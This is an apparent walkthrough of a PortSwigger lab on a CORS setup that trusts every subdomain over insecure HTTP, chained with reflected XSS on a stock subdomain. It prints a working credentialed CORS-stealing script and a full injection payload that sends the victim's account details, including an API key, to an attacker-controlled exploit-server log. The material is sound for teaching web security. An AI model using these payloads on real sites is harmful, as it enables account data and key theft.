CORS vulnerability with trusted insecure protocols

3 min read Easy PortSwigger
CORS
Contents

On this page

The lab

here is how portswigger describes it

This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

the earlier cors labs got the origin check wrong in obvious ways, reflecting everything or trusting null. this one is subtler, the server does limit itself to its own subdomains, which sounds reasonable, but it accepts any subdomain over any protocol, plain insecure http included, and that opens the door to a chained attack.

The idea#

subdomains are often less carefully guarded than the main site, so if the main site trusts all of them, then any one subdomain with a bug becomes a foothold. here one subdomain has an xss, and because the main site will trust an origin like http://stock.the-lab, we can run our cors stealing script on that subdomain and the main site will happily let it read the response. so the attack is a chain, use an xss on a trusted subdomain to run our code from an origin the main site trusts, and from there do the same credentialed read as the earlier labs.

Step 1 - Find the cors endpoint#

after logging in with the provided credentials, the account page shows an api key, and its data comes from a GET /accountDetails request whose response carries Access-Control-Allow-Credentials: true, the usual sign that cross origin reads may be possible.

111

Step 2 - What origins it trusts?#

resending the request with a subdomain origin over plain http, using the lab's own domain, gets reflected.

HTTP
Origin: http://logicbreaker.your-lab-id.web-security-academy.net
222

the response reflects that origin in Access-Control-Allow-Origin, so the server trusts any subdomain of its domain, and it does not care that this one is on insecure http. now we need our code to actually run on such a subdomain.

Step 3 - Find the xss on a subdomain#

opening a product page and clicking check stock, the stock check loads over an http url on a stock subdomain, and its productId parameter is reflected without escaping, so it is vulnerable to xss.

333

that is the missing piece. we can run our own javascript on http://stock.the-lab, which is a subdomain the main site trusts, so a cors request we make from there will be allowed.

Step 4 - Chain the xss into a cors read#

the script that we want to run on the subdomain is the same credentialed cors stealer from the earlier labs, cleaned up it is this.

var req = new XMLHttpRequest()
req.onload = reqListener
req.open('get','https://your-lab-id.web-security-academy.net/accountDetails',true)
req.withCredentials = true
req.send()
function reqListener() {
    location='https://your-exploit-server-id.exploit-server.net/log?key='+this.responseText
}

it fetches the main site's accountDetails with withCredentials = true so the victim's cookies go along, and because it is running on a trusted subdomain the main site lets it read the reply, which it then sends to our /log. now we wrap it up, our exploit server page sends the victim to the stock subdomain with that whole script tucked into the productId parameter, so the subdomain's xss runs it for us.

<script>
document.location="http://stock.your-lab-id.web-security-academy.net/?productId=1<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://your-lab-id.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://your-exploit-server-id.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

a couple of notes on this final payload. it is one long line because the injected script is packed into a url, and one line of javascript needs its statement separators to work, which is why this vector carries them where the clean version above did not. the %2b is an encoded +, kept encoded so the url does not read it as a space and lose our string join, and the %3c is an encoded <, so the closing </script> does not end the outer script too early. store it and deliver it to the victim.

Step 5 - Read the key from the log and submit it#

in the exploit server's access log there is a /log?key= request carrying the victim's account details, with the admin's api key inside.

444
555

pull the key out and submit it.

666

with this, the lab is solved!